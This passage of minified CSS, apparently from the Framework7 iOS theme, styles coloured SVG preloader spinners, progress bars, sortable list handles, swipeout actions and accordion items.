'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-yellow,.ios .preloader.preloader-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffcc00'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-orange,.ios .preloader.preloader-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff9500'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-gray,.ios .preloader.preloader-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%238e8e93'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-white,.ios .preloader.preloader-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffffff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-black,.ios .preloader.preloader-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23000000'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}@-webkit-keyframes ios-preloader-spin{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes ios-preloader-spin{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.progressbar,.progressbar-infinite{width:100%;overflow:hidden;position:relative;display:block;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.framework7-root>.progressbar,.framework7-root>.progressbar-infinite,.page>.progressbar,.page>.progressbar-infinite,.panel>.progressbar,.panel>.progressbar-infinite,.popup>.progressbar,.popup>.progressbar-infinite,.view>.progressbar,.view>.progressbar-infinite,.views>.progressbar,.views>.progressbar-infinite,body>.progressbar,body>.progressbar-infinite{position:absolute;left:0;top:0;z-index:15000;border-radius:0!important;-webkit-transform-origin:center top!important;transform-origin:center top!important}.with-statusbar.device-ios .framework7-root>.progressbar,.with-statusbar.device-ios .framework7-root>.progressbar-infinite,.with-statusbar.device-ios body>.progressbar,.with-statusbar.device-ios body>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:20px}.with-statusbar.device-android .framework7-root>.progressbar,.with-statusbar.device-android .framework7-root>.progressbar-infinite,.with-statusbar.device-android body>.progressbar,.with-statusbar.device-android body>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:24px}.with-statusbar.device-iphone-x .framework7-root>.progressbar,.with-statusbar.device-iphone-x .framework7-root>.progressbar-infinite,.with-statusbar.device-iphone-x body>.progressbar,.with-statusbar.device-iphone-x body>.progressbar-infinite{top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}.progressbar{vertical-align:middle}.progressbar span{width:100%;height:100%;position:absolute;left:0;top:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);-webkit-transition-duration:150ms;transition-duration:150ms}.progressbar-infinite:after,.progressbar-infinite:before{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform-origin:left center;transform-origin:left center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);display:block}.progressbar-infinite.color-multi{background:0 0!important}.progressbar-in{-webkit-animation:progressbar-in 150ms forwards;animation:progressbar-in 150ms forwards}.progressbar-out{-webkit-animation:progressbar-out 150ms forwards;animation:progressbar-out 150ms forwards}@-webkit-keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}.ios .progressbar,.ios .progressbar-infinite{height:2px;background:#b6b6b6;-webkit-transform-origin:center top;transform-origin:center top;border-radius:2px}.ios .progressbar span{background:#007aff}.ios .progressbar-infinite:before{content:'';background:#007aff;-webkit-animation:ios-progressbar-infinite 1s linear infinite;animation:ios-progressbar-infinite 1s linear infinite}.ios .progressbar-infinite.color-multi:before{width:400%;background-image:-webkit-gradient(linear,left top,right top,from(#4cd964),color-stop(#5ac8fa),color-stop(#007aff),color-stop(#34aadc),color-stop(#5856d6),color-stop(#ff2d55),color-stop(#5856d6),color-stop(#34aadc),color-stop(#007aff),color-stop(#5ac8fa),to(#4cd964));background-image:-webkit-linear-gradient(left,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55,#5856d6,#34aadc,#007aff,#5ac8fa,#4cd964);background-image:linear-gradient(to right,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55,#5856d6,#34aadc,#007aff,#5ac8fa,#4cd964);background-size:25% 100%;background-repeat:repeat-x;-webkit-animation:ios-progressbar-infinite-multicolor 3s linear infinite;animation:ios-progressbar-infinite-multicolor 3s linear infinite}.ios .color-theme-red .progressbar span{background:#ff3b30}.ios .color-theme-red .progressbar-infinite:before{background:#ff3b30}.ios .color-theme-green .progressbar span{background:#4cd964}.ios .color-theme-green .progressbar-infinite:before{background:#4cd964}.ios .color-theme-blue .progressbar span{background:#007aff}.ios .color-theme-blue .progressbar-infinite:before{background:#007aff}.ios .color-theme-pink .progressbar span{background:#ff2d55}.ios .color-theme-pink .progressbar-infinite:before{background:#ff2d55}.ios .color-theme-yellow .progressbar span{background:#fc0}.ios .color-theme-yellow .progressbar-infinite:before{background:#fc0}.ios .color-theme-orange .progressbar span{background:#ff9500}.ios .color-theme-orange .progressbar-infinite:before{background:#ff9500}.ios .color-theme-gray .progressbar span{background:#8e8e93}.ios .color-theme-gray .progressbar-infinite:before{background:#8e8e93}.ios .color-theme-white .progressbar span{background:#fff}.ios .color-theme-white .progressbar-infinite:before{background:#fff}.ios .color-theme-black .progressbar span{background:#000}.ios .color-theme-black .progressbar-infinite:before{background:#000}.ios .progressbar.color-red span{background:#ff3b30}.ios .progressbar-infinite.color-red:before{background:#ff3b30}.ios .progressbar.color-green span{background:#4cd964}.ios .progressbar-infinite.color-green:before{background:#4cd964}.ios .progressbar.color-blue span{background:#007aff}.ios .progressbar-infinite.color-blue:before{background:#007aff}.ios .progressbar.color-pink span{background:#ff2d55}.ios .progressbar-infinite.color-pink:before{background:#ff2d55}.ios .progressbar.color-yellow span{background:#fc0}.ios .progressbar-infinite.color-yellow:before{background:#fc0}.ios .progressbar.color-orange span{background:#ff9500}.ios .progressbar-infinite.color-orange:before{background:#ff9500}.ios .progressbar.color-gray span{background:#8e8e93}.ios .progressbar-infinite.color-gray:before{background:#8e8e93}.ios .progressbar.color-white span{background:#fff}.ios .progressbar-infinite.color-white:before{background:#fff}.ios .progressbar.color-black span{background:#000}.ios .progressbar-infinite.color-black:before{background:#000}@-webkit-keyframes ios-progressbar-infinite{0%{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes ios-progressbar-infinite{0%{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@-webkit-keyframes ios-progressbar-infinite-multicolor{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}100%{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}}@keyframes ios-progressbar-infinite-multicolor{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}100%{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}}.sortable .sortable-handler{position:absolute;top:0;bottom:1px;z-index:10;background-repeat:no-repeat;background-size:18px 12px;opacity:0;pointer-events:none;cursor:move;-webkit-transition-duration:.3s;transition-duration:.3s;left:0;background-position:0 50%}.sortable .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable li.sorting{z-index:50;background:rgba(255,255,255,.8);-webkit-transition-duration:0s;transition-duration:0s}.sortable li.sorting .item-inner:after{display:none!important}.sortable-sorting li{-webkit-transition-duration:.3s;transition-duration:.3s}.sortable-enabled .sortable-handler{pointer-events:auto;opacity:1;background-position:50% 50%}.sortable-enabled .item-link .item-inner,.sortable-enabled .item-link .item-title-row{background-image:none!important}.sortable.theme-dark li.sorting,.theme-dark .sortable li.sorting{background-color:rgba(50,50,50,.8)}.ios .sortable-handler{width:35px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%2012'%20fill%3D'%23c7c7cc'%3E%3Cpath%20d%3D'M0%2C2V0h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C7V5h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C12v-2h22v2H0z'%2F%3E%3C%2Fsvg%3E")}.ios .sortable li.sorting{-webkit-box-shadow:0 2px 8px rgba(0,0,0,.6);box-shadow:0 2px 8px rgba(0,0,0,.6)}.ios .sortable-enabled .item-inner,.ios .sortable-enabled .item-link .item-inner{padding-left:35px}.ios .list.sortable-enabled .item-link.no-chevron .item-inner,.ios .list.sortable-enabled .no-chevron .item-link .item-inner,.ios .list.sortable-enabled.no-chevron .item-link .item-inner,.ios .no-chevron .list.sortable-enabled .item-link .item-inner{padding-left:35px}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .sortable-handler,.ios.device-iphone-x .ios-left-edge .sortable-handler,.ios.device-iphone-x .panel-left .sortable-handler,.ios.device-iphone-x .popup .sortable-handler,.ios.device-iphone-x .sheet-modal .sortable-handler{left:constant(safe-area-inset-left);left:env(safe-area-inset-left)}.ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-left:calc(35px + constant(safe-area-inset-right));padding-left:calc(35px + env(safe-area-inset-right))}}.swipeout{overflow:hidden;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swipeout-deleting{-webkit-transition-duration:.3s;transition-duration:.3s}.swipeout-deleting .swipeout-content{-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-transitioning .swipeout-actions-left a,.swipeout-transitioning .swipeout-actions-right a,.swipeout-transitioning .swipeout-content,.swipeout-transitioning .swipeout-overswipe{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:left,-webkit-transform;transition-property:left,-webkit-transform;transition-property:transform,left;transition-property:transform,left,-webkit-transform}.swipeout-content{position:relative;z-index:10}.swipeout-overswipe{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:left;transition-property:left}.swipeout-actions-left,.swipeout-actions-right{position:absolute;top:0;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;direction:ltr}.swipeout-actions-left>a,.swipeout-actions-left>button,.swipeout-actions-left>div,.swipeout-actions-left>span,.swipeout-actions-right>a,.swipeout-actions-right>button,.swipeout-actions-right>div,.swipeout-actions-right>span{color:#fff;background:#c7c7cc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;position:relative;left:0}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after,.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{content:'';position:absolute;top:0;width:600%;height:100%;background:inherit;z-index:-1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swipeout-actions-right{right:0;-webkit-transform:translateX(100%);transform:translateX(100%)}.swipeout-actions-right>a:after,.swipeout-actions-right>button:after,.swipeout-actions-right>div:after,.swipeout-actions-right>span:after{left:100%;margin-left:-1px}.swipeout-actions-left{left:0;-webkit-transform:translateX(-100%);transform:translateX(-100%)}.swipeout-actions-left>a:after,.swipeout-actions-left>button:after,.swipeout-actions-left>div:after,.swipeout-actions-left>span:after{right:100%;margin-right:-1px}.ios .swipeout-actions-left>a,.ios .swipeout-actions-left>button,.ios .swipeout-actions-left>div,.ios .swipeout-actions-left>span,.ios .swipeout-actions-right>a,.ios .swipeout-actions-right>button,.ios .swipeout-actions-right>div,.ios .swipeout-actions-right>span{padding:0 30px;color:#fff}.ios .swipeout-actions-left .swipeout-delete,.ios .swipeout-actions-right .swipeout-delete{background:#ff3b30}.ios .swipeout-actions-left>a.color-red,.ios .swipeout-actions-left>button.color-red,.ios .swipeout-actions-left>div.color-red,.ios .swipeout-actions-left>span.color-red,.ios .swipeout-actions-right>a.color-red,.ios .swipeout-actions-right>button.color-red,.ios .swipeout-actions-right>div.color-red,.ios .swipeout-actions-right>span.color-red{background-color:#ff3b30}.ios .swipeout-actions-left>a.color-green,.ios .swipeout-actions-left>button.color-green,.ios .swipeout-actions-left>div.color-green,.ios .swipeout-actions-left>span.color-green,.ios .swipeout-actions-right>a.color-green,.ios .swipeout-actions-right>button.color-green,.ios .swipeout-actions-right>div.color-green,.ios .swipeout-actions-right>span.color-green{background-color:#4cd964}.ios .swipeout-actions-left>a.color-blue,.ios .swipeout-actions-left>button.color-blue,.ios .swipeout-actions-left>div.color-blue,.ios .swipeout-actions-left>span.color-blue,.ios .swipeout-actions-right>a.color-blue,.ios .swipeout-actions-right>button.color-blue,.ios .swipeout-actions-right>div.color-blue,.ios .swipeout-actions-right>span.color-blue{background-color:#007aff}.ios .swipeout-actions-left>a.color-pink,.ios .swipeout-actions-left>button.color-pink,.ios .swipeout-actions-left>div.color-pink,.ios .swipeout-actions-left>span.color-pink,.ios .swipeout-actions-right>a.color-pink,.ios .swipeout-actions-right>button.color-pink,.ios .swipeout-actions-right>div.color-pink,.ios .swipeout-actions-right>span.color-pink{background-color:#ff2d55}.ios .swipeout-actions-left>a.color-yellow,.ios .swipeout-actions-left>button.color-yellow,.ios .swipeout-actions-left>div.color-yellow,.ios .swipeout-actions-left>span.color-yellow,.ios .swipeout-actions-right>a.color-yellow,.ios .swipeout-actions-right>button.color-yellow,.ios .swipeout-actions-right>div.color-yellow,.ios .swipeout-actions-right>span.color-yellow{background-color:#fc0}.ios .swipeout-actions-left>a.color-orange,.ios .swipeout-actions-left>button.color-orange,.ios .swipeout-actions-left>div.color-orange,.ios .swipeout-actions-left>span.color-orange,.ios .swipeout-actions-right>a.color-orange,.ios .swipeout-actions-right>button.color-orange,.ios .swipeout-actions-right>div.color-orange,.ios .swipeout-actions-right>span.color-orange{background-color:#ff9500}.ios .swipeout-actions-left>a.color-gray,.ios .swipeout-actions-left>button.color-gray,.ios .swipeout-actions-left>div.color-gray,.ios .swipeout-actions-left>span.color-gray,.ios .swipeout-actions-right>a.color-gray,.ios .swipeout-actions-right>button.color-gray,.ios .swipeout-actions-right>div.color-gray,.ios .swipeout-actions-right>span.color-gray{background-color:#8e8e93}.ios .swipeout-actions-left>a.color-white,.ios .swipeout-actions-left>button.color-white,.ios .swipeout-actions-left>div.color-white,.ios .swipeout-actions-left>span.color-white,.ios .swipeout-actions-right>a.color-white,.ios .swipeout-actions-right>button.color-white,.ios .swipeout-actions-right>div.color-white,.ios .swipeout-actions-right>span.color-white{background-color:#fff}.ios .swipeout-actions-left>a.color-black,.ios .swipeout-actions-left>button.color-black,.ios .swipeout-actions-left>div.color-black,.ios .swipeout-actions-left>span.color-black,.ios .swipeout-actions-right>a.color-black,.ios .swipeout-actions-right>button.color-black,.ios .swipeout-actions-right>div.color-black,.ios .swipeout-actions-right>span.color-black{background-color:#000}.accordion-item-toggle{cursor:pointer;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-toggle.active-state>.item-inner:after{background-color:transparent}.accordion-item-toggle .item-inner{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color}.accordion-item-toggle .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .item-link .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .block,.accordion-item .list{margin-top:0;margin-bottom:0}.accordion-item .block>h1:first-child,.accordion-item .block>h2:first-child,.accordion-item .block>h3:first-child,.accordion-item .block>h4:first-child,.accordion-item .block>p:first-child{margin-top:10px}.accordion-item .block>h1:last-child,.accordion-item .block>h2:last-child,.accordion-item .block>h3:last-child,.accordion-item .block>h4:last-child,.accordion-item .block>p:last-child{margin-bottom:10px}.accordion-item-opened .accordion-item-toggle .item-inner:after,.accordion-item-opened>.item-link .item-inner:after{background-color:transparent}.list li.accordion-item ul{padding-right:0}.accordion-item-content{position:relative;overflow:hidden;height:0;font-size:14px;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-opened>.accordion-item-content{height:auto}html.device-android-4 .accordion-item-content{-webkit-transform:none;transform:none}.ios .list .accordion-item-toggle .item-inner{background-size:8px 13px;padding-left:35px;background-repeat:no-repeat;background-position:15px center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.ios .list 